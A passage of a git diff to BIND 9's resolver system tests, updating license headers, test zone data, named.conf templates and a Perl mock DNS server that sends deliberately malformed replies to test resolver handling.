+			$n = $conn->sysread($buf, $len);
+			last unless $n == $len;
+			print "TCP request\n";
+			my $result = handleQuery($buf);
+			$len = length($result);
+			$conn->syswrite(pack("n", $len), 2);
+			$n = $conn->syswrite($result, $len);
+			print "    Sent: $n chars via TCP\n";
+		}
+		$conn->close;
+	}
 }
diff --git a/bin/tests/system/resolver/ans8/ans.pl b/bin/tests/system/resolver/ans8/ans.pl
index 753fc65f65..a3d06b67d6 100644
--- a/bin/tests/system/resolver/ans8/ans.pl
+++ b/bin/tests/system/resolver/ans8/ans.pl
@@ -1,9 +1,11 @@
 #!/usr/bin/perl
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
@@ -86,8 +88,11 @@ sub handleUDP {
 	# versions just get it completely wrong.
 
 	if ($qname eq "truncated.no-questions") {
-		# QR, AA, TC
+		# QR, AA, TC: forces TCP retry
 		return (pack("nnnnnn", $id, 0x8600, 0, 0, 0, 0));
+	} elsif ($qname eq "tcpalso.no-questions") {
+		# QR, REFUSED: forces TCP retry
+		return (pack("nnnnnn", $id, 0x8205, 0, 0, 0, 0));
 	}
 	# QR, AA
 	return (pack("nnnnnn", $id, 0x8400, 0, 0, 0, 0));
@@ -118,9 +123,15 @@ sub handleTCP {
 	$response->header->qr(1);
 	$response->header->aa(1);
 	$response->header->id($id);
-
 	$response->push("answer", new Net::DNS::RR("$qname 300 A 1.2.3.4"));
-	push(@results, $response->data);
+
+	if ($qname eq "tcpalso.no-questions") {
+		# for this qname we also return a bad reply over TCP
+		# QR, REFUSED, no question section
+		push (@results, pack("nnnnnn", $id, 0x8005, 0, 0, 0, 0));
+	} else {
+		push(@results, $response->data);
+	}
 
 	return \@results;
 }
diff --git a/bin/tests/system/resolver/clean.sh b/bin/tests/system/resolver/clean.sh
index b25e8a6e8f..d4ff98373f 100644
--- a/bin/tests/system/resolver/clean.sh
+++ b/bin/tests/system/resolver/clean.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
@@ -12,15 +14,16 @@
 #
 # Clean up after resolver tests.
 #
-rm -f */named.conf
-rm -f */named.memstats
-rm -f */named.run
-rm -f */ans.run
-rm -f */*.jdb
+rm -f ./*/named.conf
+rm -f ./*/named.memstats
+rm -f ./*/named.run ./*/named.run.prev
+rm -f ./*/ans.run
+rm -f ./*/*.jdb
 rm -f dig.out dig.out.* dig.*.out.*
 rm -f dig.*.foo.*
 rm -f dig.*.bar.*
 rm -f dig.*.prime.*
+rm -f nextpart.out.*
 rm -f ns4/tld.db
 rm -f ns6/K*
 rm -f ns6/example.net.db.signed ns6/example.net.db
diff --git a/bin/tests/system/resolver/ns1/chaostest.db b/bin/tests/system/resolver/ns1/chaostest.db
index 4c967b90dd..153f31d244 100644
--- a/bin/tests/system/resolver/ns1/chaostest.db
+++ b/bin/tests/system/resolver/ns1/chaostest.db
@@ -1,3 +1,14 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
 $TTL		3600
 @		CHAOS SOA       @ @ 1970010100 86400 600 86400 300
 @		CHAOS NS        @
diff --git a/bin/tests/system/resolver/ns1/named.conf.in b/bin/tests/system/resolver/ns1/named.conf.in
index 717caaeeca..f0f9571209 100644
--- a/bin/tests/system/resolver/ns1/named.conf.in
+++ b/bin/tests/system/resolver/ns1/named.conf.in
@@ -1,18 +1,20 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
  */
 
 options {
-	query-source address 10.53.0.1 dscp 1;
-	notify-source 10.53.0.1 dscp 2;
-	transfer-source 10.53.0.1 dscp 3;
+	query-source address 10.53.0.1;
+	notify-source 10.53.0.1;
+	transfer-source 10.53.0.1;
 	port @PORT@;
 	pid-file "named.pid";
 	listen-on { 10.53.0.1; };
@@ -29,6 +31,10 @@ options {
 	attach-cache "globalcache";
 };
 
+server 10.53.0.3 {
+	tcp-only yes;
+};
+
 server 10.42.23.3/32 {
      notify-source 10.42.22.1;
      query-source address 10.42.22.1 port 0;
@@ -62,3 +68,12 @@ view "default" {
 		file "root.hint";
 	};
 };
+
+key rndc_key {
+	secret "1234abcd8765";
+	algorithm @DEFAULT_HMAC@;
+};
+
+controls {
+	inet 10.53.0.1 port @CONTROLPORT@ allow { any; } keys { rndc_key; };
+};
diff --git a/bin/tests/system/resolver/ns1/root.hint b/bin/tests/system/resolver/ns1/root.hint
index 64769b9fe6..993227deb6 100644
--- a/bin/tests/system/resolver/ns1/root.hint
+++ b/bin/tests/system/resolver/ns1/root.hint
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/resolver/ns4/broken.db b/bin/tests/system/resolver/ns4/broken.db
index 886614c412..eb64f85db7 100644
--- a/bin/tests/system/resolver/ns4/broken.db
+++ b/bin/tests/system/resolver/ns4/broken.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/resolver/ns4/child.server.db b/bin/tests/system/resolver/ns4/child.server.db
index e0dc65e985..188eb4a55e 100644
--- a/bin/tests/system/resolver/ns4/child.server.db
+++ b/bin/tests/system/resolver/ns4/child.server.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/resolver/ns4/moves.db b/bin/tests/system/resolver/ns4/moves.db
index cfd04de54b..dc1c396a6c 100644
--- a/bin/tests/system/resolver/ns4/moves.db
+++ b/bin/tests/system/resolver/ns4/moves.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/resolver/ns4/named.conf.in b/bin/tests/system/resolver/ns4/named.conf.in
index ec74ec8d6a..67cbee8870 100644
--- a/bin/tests/system/resolver/ns4/named.conf.in
+++ b/bin/tests/system/resolver/ns4/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -12,17 +14,15 @@
 // NS4
 
 options {
-	query-source address 10.53.0.4 dscp 4;
-	notify-source 10.53.0.4 dscp 5;
-	transfer-source 10.53.0.4 dscp 6;
+	query-source address 10.53.0.4;
+	notify-source 10.53.0.4;
+	transfer-source 10.53.0.4;
 	port @PORT@;
 	pid-file "named.pid";
 	listen-on { 10.53.0.4; };
 	listen-on-v6 { none; };
 	recursion no;
 	dnssec-validation no;
-	/* test that named loads with root-delegation-only */
-	root-delegation-only;
 };
 
 zone "." {
@@ -55,9 +55,14 @@ zone "sourcens" {
     file "sourcens.db";
 };
 
+zone "v4only.net" {
+	type primary;
+	file "v4only.net.db";
+};
+
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
diff --git a/bin/tests/system/resolver/ns4/named.noaa b/bin/tests/system/resolver/ns4/named.noaa
index 3b121ad9da..be78cc2c94 100644
--- a/bin/tests/system/resolver/ns4/named.noaa
+++ b/bin/tests/system/resolver/ns4/named.noaa
@@ -1,5 +1,12 @@
 Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 
-See COPYRIGHT in the source root or https://isc.org/copyright.html for terms.
+SPDX-License-Identifier: MPL-2.0
+
+This Source Code Form is subject to the terms of the Mozilla Public
+License, v. 2.0.  If a copy of the MPL was not distributed with this
+file, you can obtain one at https://mozilla.org/MPL/2.0/.
+
+See the COPYRIGHT file distributed with this work for additional
+information regarding copyright ownership.
 
 Add -T noaa.
diff --git a/bin/tests/system/resolver/ns4/root.db b/bin/tests/system/resolver/ns4/root.db
index f289e73ddb..3c93edcf17 100644
--- a/bin/tests/system/resolver/ns4/root.db
+++ b/bin/tests/system/resolver/ns4/root.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
@@ -18,8 +20,6 @@ $TTL 300
 .			NS	a.root-servers.nil.
 a.root-servers.nil.	A	10.53.0.4
 all-cnames		NS	cname.tld
-delegation-only.	NS	ns.delegation-only.
-ns.delegation-only.	A	10.53.0.6
 example.net.		NS	ns.example.net.
 ns.example.net.		A	10.53.0.6
 no-questions.		NS	ns.no-questions.
@@ -30,3 +30,8 @@ sourcens.		NS	ns.sourcens.
 ns.sourcens.		A	10.53.0.4
 targetns. 		NS	ns.targetns.
 ns.targetns.		A	10.53.0.6
+partial-formerr.	NS	ns.partial-formerr.
+ns.partial-formerr.	A	10.53.0.2
+ns.partial-formerr.	A	10.53.0.3
+options-formerr.	NS	ns.options-formerr.
+ns.options-formerr.	A	10.53.0.10
diff --git a/bin/tests/system/resolver/ns4/sourcens.db b/bin/tests/system/resolver/ns4/sourcens.db
index b02cc6e835..3567cfb616 100644
--- a/bin/tests/system/resolver/ns4/sourcens.db
+++ b/bin/tests/system/resolver/ns4/sourcens.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/resolver/ns4/tld1.db b/bin/tests/system/resolver/ns4/tld1.db
index 2736f7d69f..03d79088fe 100644
--- a/bin/tests/system/resolver/ns4/tld1.db
+++ b/bin/tests/system/resolver/ns4/tld1.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
@@ -28,3 +30,6 @@ edns-version.tld.	NS	ns.edns-version.tld.
 ns.edns-version.tld.	A	10.53.0.7
 cname			CNAME	ns7
 ns7			A	10.53.0.7
+mixedttl 10		A	10.0.0.1
+mixedttl 15		TXT	a TXT record
+mixedttl 20		AAAA	2001:db8::1
diff --git a/bin/tests/system/resolver/ns4/tld2.db b/bin/tests/system/resolver/ns4/tld2.db
index 4664453a77..c3a96d9f4f 100644
--- a/bin/tests/system/resolver/ns4/tld2.db
+++ b/bin/tests/system/resolver/ns4/tld2.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
@@ -19,12 +21,15 @@ $TTL 300
 ns			A	10.53.0.4
 fetch.tld.		NS	ns.fetch.tld.
 ns.fetch.tld.		A	10.53.0.6
-fetchall  10              TXT     A short ttl
 fetchall  10              A     1.2.3.4
-fetchall  10              AAAA    ::1
+fetchall  10              AAAA  ::1
+fetchall  10              TXT   A short ttl
 no-edns-version.tld.	NS	ns.no-edns-version.tld.
 ns.no-edns-version.tld.	A	10.53.0.6
 edns-version.tld.	NS	ns.edns-version.tld.
 ns.edns-version.tld.	A	10.53.0.7
 cname			CNAME	ns7
 ns7			A	10.53.0.7
+mixedttl 10		A	10.0.0.1
+mixedttl 15		TXT	a TXT record
+mixedttl 20		AAAA	2001:db8::1
diff --git a/bin/tests/system/resolver/ns4/v4only.net.db b/bin/tests/system/resolver/ns4/v4only.net.db
new file mode 100644
index 0000000000..b097f3a305
--- /dev/null
+++ b/bin/tests/system/resolver/ns4/v4only.net.db
@@ -0,0 +1,22 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+$TTL 300
+@ 			IN SOA	marka.isc.org. ns.server. (
+				2010   	; serial
+				600         	; refresh
+				600         	; retry
+				1200    	; expire
+				600       	; minimum
+				)
+@			NS	v4.nameserver.
+			A	10.0.0.1
+*			CNAME	@
diff --git a/bin/tests/system/resolver/ns5/child.server.db b/bin/tests/system/resolver/ns5/child.server.db
index 73eb84797d..2517b6c81d 100644
--- a/bin/tests/system/resolver/ns5/child.server.db
+++ b/bin/tests/system/resolver/ns5/child.server.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/resolver/ns5/moves.db b/bin/tests/system/resolver/ns5/moves.db
index d2594b68b2..57f4e912c8 100644
--- a/bin/tests/system/resolver/ns5/moves.db
+++ b/bin/tests/system/resolver/ns5/moves.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/resolver/ns5/named.conf.in b/bin/tests/system/resolver/ns5/named.conf.in
index a3e59023d7..9856d8e5b1 100644
--- a/bin/tests/system/resolver/ns5/named.conf.in
+++ b/bin/tests/system/resolver/ns5/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -12,9 +14,9 @@
 // NS5
 
 options {
-	query-source address 10.53.0.5 dscp 7;
-	notify-source 10.53.0.5 dscp 8;
-	transfer-source 10.53.0.5 dscp 9;
+	query-source address 10.53.0.5;
+	notify-source 10.53.0.5;
+	transfer-source 10.53.0.5;
 	port @PORT@;
 	pid-file "named.pid";
 	listen-on { 10.53.0.5; };
@@ -44,13 +46,9 @@ zone "child.server" {
 	file "child.server.db";
 };
 
-zone "delegation-only" {
-       type delegation-only;
-};
-
 key rndc_key {
         secret "1234abcd8765";
-        algorithm hmac-sha256;
+        algorithm @DEFAULT_HMAC@;
 };
 
 controls {
diff --git a/bin/tests/system/resolver/ns5/root.hint b/bin/tests/system/resolver/ns5/root.hint
index e8cdaecdcb..3685f54166 100644
--- a/bin/tests/system/resolver/ns5/root.hint
+++ b/bin/tests/system/resolver/ns5/root.hint
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/resolver/ns6/broken.db b/bin/tests/system/resolver/ns6/broken.db
index 10edff8ac9..85b36bf5bf 100644
--- a/bin/tests/system/resolver/ns6/broken.db
+++ b/bin/tests/system/resolver/ns6/broken.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/resolver/ns6/delegation-only.db b/bin/tests/system/resolver/ns6/delegation-only.db
index c9a7ad1850..b1443386c3 100644
--- a/bin/tests/system/resolver/ns6/delegation-only.db
+++ b/bin/tests/system/resolver/ns6/delegation-only.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/resolver/ns6/ds.example.net.db.in b/bin/tests/system/resolver/ns6/ds.example.net.db.in
index d38d1a944e..fad382bb85 100644
--- a/bin/tests/system/resolver/ns6/ds.example.net.db.in
+++ b/bin/tests/system/resolver/ns6/ds.example.net.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/resolver/ns6/example.net.db.in b/bin/tests/system/resolver/ns6/example.net.db.in
index eab3267b79..4bef7287ee 100644
--- a/bin/tests/system/resolver/ns6/example.net.db.in
+++ b/bin/tests/system/resolver/ns6/example.net.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
@@ -13,6 +15,17 @@ $TTL 600
 @	IN MX	0 mail
 ns	IN A	10.53.0.6
 mail	IN A	10.53.0.6
+www	IN HTTPS 0 http-server
+http-server IN A 10.53.0.6
+https-loop IN HTTPS 0 https-next
+https-loop IN A 10.53.0.6
+https-next IN HTTPS 0 https-loop
+https-next IN A 10.53.0.7
+https-cname IN HTTPS 0 cname-server
+cname-server IN CNAME cname-next
+cname-next IN CNAME http-server
+https-cname-loop IN HTTPS 0 https-cname-loop0
+https-cname-loop0 IN CNAME https-cname-loop0
 fetch 10 IN TXT A short ttl
 non-zero 10 IN TXT A short ttl
 zero 0  IN TXT	A zero ttl
diff --git a/bin/tests/system/resolver/ns6/fetch.tld.db b/bin/tests/system/resolver/ns6/fetch.tld.db
index b38fd51601..1d59e5a4a3 100644
--- a/bin/tests/system/resolver/ns6/fetch.tld.db
+++ b/bin/tests/system/resolver/ns6/fetch.tld.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/resolver/ns6/keygen.sh b/bin/tests/system/resolver/ns6/keygen.sh
index d85c443d55..2141a309c6 100644
--- a/bin/tests/system/resolver/ns6/keygen.sh
+++ b/bin/tests/system/resolver/ns6/keygen.sh
@@ -1,9 +1,11 @@
 #!/bin/sh -e
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
@@ -11,12 +13,15 @@
 
 . ../../conf.sh
 
+#
+# We use rsasha256 here to get a ZSK + KSK that don't fit in 512 bytes.
+#
 zone=ds.example.net
 zonefile="${zone}.db"
 infile="${zonefile}.in"
 cp $infile $zonefile
-ksk=`$KEYGEN -q -a rsasha256 -fk $zone`
-zsk=`$KEYGEN -q -a rsasha256 -b 2048 $zone`
+ksk=$($KEYGEN -q -a rsasha256 -fk $zone)
+zsk=$($KEYGEN -q -a rsasha256 -b 2048 $zone)
 cat $ksk.key $zsk.key >> $zonefile
 $SIGNER -P -o $zone $zonefile > /dev/null
 
@@ -24,9 +29,9 @@ zone=example.net
 zonefile="${zone}.db"
 infile="${zonefile}.in"
 cp $infile $zonefile
-ksk=`$KEYGEN -q -a rsasha256 -fk $zone`
-zsk=`$KEYGEN -q -a rsasha256 $zone`
-cat $ksk.key $zsk.key dsset-ds.example.net$TP >> $zonefile
+ksk=$($KEYGEN -q -a ${DEFAULT_ALGORITHM} -fk $zone)
+zsk=$($KEYGEN -q -a ${DEFAULT_ALGORITHM} $zone)
+cat $ksk.key $zsk.key dsset-ds.example.net. >> $zonefile
 $SIGNER -P -o $zone $zonefile > /dev/null
 
 # Configure a static key to be used by delv
diff --git a/bin/tests/system/resolver/ns6/moves.db b/bin/tests/system/resolver/ns6/moves.db
index 27ce6d11da..06634eefa2 100644
--- a/bin/tests/system/resolver/ns6/moves.db
+++ b/bin/tests/system/resolver/ns6/moves.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/resolver/ns6/named.conf.in b/bin/tests/system/resolver/ns6/named.conf.in
index 1726d5fa5b..c6ec72abc4 100644
--- a/bin/tests/system/resolver/ns6/named.conf.in
+++ b/bin/tests/system/resolver/ns6/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -12,22 +14,18 @@
 // NS6
 
 options {
-	query-source address 10.53.0.6 dscp 10;
-	notify-source 10.53.0.6 dscp 11;
-	transfer-source 10.53.0.6 dscp 12;
+	query-source address 10.53.0.6;
+	notify-source 10.53.0.6;
+	transfer-source 10.53.0.6;
 	port @PORT@;
 	pid-file "named.pid";
 	listen-on { 10.53.0.6; };
-	listen-on-v6 { none; };
+	listen-on-v6 { fd92:7065:b8e:ffff::6; };
 	recursion no;
 	dnssec-validation no;
 	querylog yes;
 	statistics-file "named.stats";
-	/*
-	 * test that named loads with root-delegation-only that
-	 * has a exclude list.
-	 */
-	root-delegation-only exclude { "a"; };
+	max-udp-size 4096;
 };
 
 zone "." {
@@ -59,14 +57,19 @@ zone "broken" {
 	allow-update { any; };
 };
 
-zone "no-edns-version.tld" {
+zone "redirect.com" {
 	type primary;
-	file "no-edns-version.tld.db";
+	file "redirect.com.db";
+};
+
+zone "tld1" {
+	type primary;
+	file "tld1.db";
 };
 
-zone "delegation-only" {
+zone "no-edns-version.tld" {
 	type primary;
-	file "delegation-only.db";
+	file "no-edns-version.tld.db";
 };
 
 zone "fetch.tld" {
